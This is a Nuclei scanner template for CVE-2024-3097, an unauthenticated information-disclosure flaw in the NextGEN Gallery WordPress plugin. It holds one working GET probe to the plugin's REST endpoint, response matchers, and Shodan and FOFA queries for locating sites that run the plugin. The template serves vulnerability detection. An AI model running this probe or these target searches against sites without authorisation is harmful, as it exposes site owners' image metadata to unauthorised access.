id: CVE-2024-3097

info:
  name: NextGEN Gallery <= 3.59 - Missing Authorization to Unauthenticated Information Disclosure
  author: DhiyaneshDk
  severity: medium
  description: |
    The WordPress Gallery Plugin – NextGEN Gallery plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the get_item function in versions up to, and including, 3.59. This makes it possible for unauthenticated attackers to extract sensitive data including EXIF and other metadata of any image uploaded through the plugin.
  impact: |
    Unauthenticated attackers can perform unauthorized actions within the NextGEN Gallery plugin.
  remediation: |
    Update NextGEN Gallery to version 3.60 or later.
  reference:
    - https://plugins.trac.wordpress.org/browser/nextgen-gallery/trunk/src/REST/Admin/Block.php#L40
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/75f87f99-9f0d-46c2-a6f1-3c1ea0176303?source=cve
    - https://zpbrent.github.io/pocs/8-plugin-nextgen-gallery-InfoDis-20240327.mp4
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-3097
    cwe-id: CWE-862
    epss-score: 0.24755
    epss-percentile: 0.96226
    cpe: cpe:2.3:a:imagely:nextgen_gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: imagely
    product: "nextgen_gallery"
    framework: wordpress
    shodan-query:
      - "cpe:\"cpe:2.3:a:imagely:nextgen_gallery\""
      - http.html:/wp-content/plugins/nextgen-gallery/
    fofa-query: "body=/wp-content/plugins/nextgen-gallery/"
    publicwww-query: "/wp-content/plugins/nextgen-gallery/"
  tags: cve,cve2024,wordpress,nextgen-gallery,wp-plugin,info-leak,imagely,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ngg/v1/admin/block/image/1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":'
          - '"image":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a00463044022035e52022e0e02306ac13581d222c82a3bc372a1ec244b032d9cfaba562e0617a022053d1ff5a8964e30ff1b756085255548ebcb691dcd2371834dcb047e7cd992948:922c64590222798bb761d5b6d8e72950